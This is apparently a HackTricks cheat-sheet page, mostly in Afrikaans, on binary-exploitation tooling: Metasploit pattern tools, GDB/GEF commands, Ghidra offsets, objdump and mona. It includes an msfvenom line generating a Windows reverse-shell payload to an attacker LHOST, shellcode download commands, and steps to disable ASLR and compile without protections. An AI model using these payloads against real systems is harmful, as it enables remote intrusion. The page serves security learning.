.. | ||
pwntools.md | ||
README.md |
Exploiting Tools
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Metasploit
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
Shellcodes
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
GDB
Installeer
apt-get install gdb
Parameters
-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process
Instruksies
run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit
# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process
# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes
# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate
# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
GEF
help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table
# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61
#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
Tricks
GDB dieselfde adresse
Terwyl jy debugg, sal GDB liggies verskillende adresse hê as die wat deur die binêre gebruik word wanneer dit uitgevoer word. Jy kan GDB dieselfde adresse laat hê deur:
unset env LINES
unset env COLUMNS
set env _=<path>
Plaas die absolute pad na die binêre- Exploit die binêre met dieselfde absolute roete
PWD
enOLDPWD
moet dieselfde wees wanneer jy GDB gebruik en wanneer jy die binêre exploiteer
Backtrace om funksies te vind wat aangeroep word
Wanneer jy 'n statically linked binary het, sal al die funksies aan die binêre behoort (en nie aan eksterne biblioteke nie). In hierdie geval sal dit moeilik wees om die vloei wat die binêre volg om byvoorbeeld gebruikersinvoer te vra te identifiseer.
Jy kan hierdie vloei maklik identifiseer deur die binêre met gdb te hardloop totdat jy gevra word vir invoer. Stop dit dan met CTRL+C en gebruik die bt
(backtrace) opdrag om die funksies wat aangeroep is te sien:
gef➤ bt
#0 0x00000000004498ae in ?? ()
#1 0x0000000000400b90 in ?? ()
#2 0x0000000000400c1d in ?? ()
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
GDB bediener
gdbserver --multi 0.0.0.0:23947
(in IDA moet jy die absolute pad van die uitvoerbare lêer in die Linux masjien invul en in die Windows masjien)
Ghidra
Vind stap offset
Ghidra is baie nuttig om die offset vir 'n buffer overflow te vind danksy die inligting oor die posisie van die plaaslike veranderlikes.
Byvoorbeeld, in die voorbeeld hieronder dui 'n buffer vloei in local_bc
aan dat jy 'n offset van 0xbc
nodig het. Boonop, as local_10
'n kanarie koekie is, dui dit aan dat om dit van local_bc
te oorskryf daar 'n offset van 0xac
is.
Onthou dat die eerste 0x08 van waar die RIP gestoor word aan die RBP behoort.
GCC
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> Compileer sonder beskermings
-o --> Uitset
-g --> Stoor kode (GDB sal dit kan sien)
echo 0 > /proc/sys/kernel/randomize_va_space --> Om die ASLR in linux te deaktiveer
Om 'n shellcode te compileer:
nasm -f elf assembly.asm --> teruggee 'n ".o"
ld assembly.o -o shellcodeout --> Uitvoerbaar
Objdump
-d --> Disassemble uitvoerbare afdelings (sien opcodes van 'n gecompileerde shellcode, vind ROP Gadgets, vind funksie adres...)
-Mintel --> Intel sintaksis
-t --> Simbol tabel
-D --> Disassemble alles (adres van statiese veranderlike)
-s -j .dtors --> dtors afdeling
-s -j .got --> got afdeling
-D -s -j .plt --> plt afdeling gedekompileer
-TR --> Hernuwing
ojdump -t --dynamic-relo ./exec | grep puts --> Adres van "puts" om in GOT te wysig
objdump -D ./exec | grep "VAR_NAME" --> Adres of 'n statiese veranderlike (daardie word in DATA afdeling gestoor).
Kern stortings
- Voer
ulimit -c unlimited
uit voordat ek my program begin - Voer
sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t
uit - sudo gdb --core=<path/core> --quiet
Meer
ldd uitvoerbaar | grep libc.so.6 --> Adres (as ASLR, dan verander dit elke keer)
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done --> Loop om te sien of die adres baie verander
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> Offset van "system"
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> Offset van "/bin/sh"
strace uitvoerbaar --> Funksies wat deur die uitvoerbare aangeroep word
rabin2 -i uitvoerbaar --> Adres van al die funksies
Inmunity debugger
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
IDA
Foutopsporing in afstandlinux
Binne die IDA-gids kan jy binaire lêers vind wat gebruik kan word om 'n binaire lêer binne 'n linux te foutopspoor. Om dit te doen, skuif die binaire linux_server of linux_server64 binne die linux-bediener en voer dit uit binne die gids wat die binaire lêer bevat:
./linux_server64 -Ppass
Dan, konfigureer die debugger: Debugger (linux afstand) --> Proses opsies...:
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.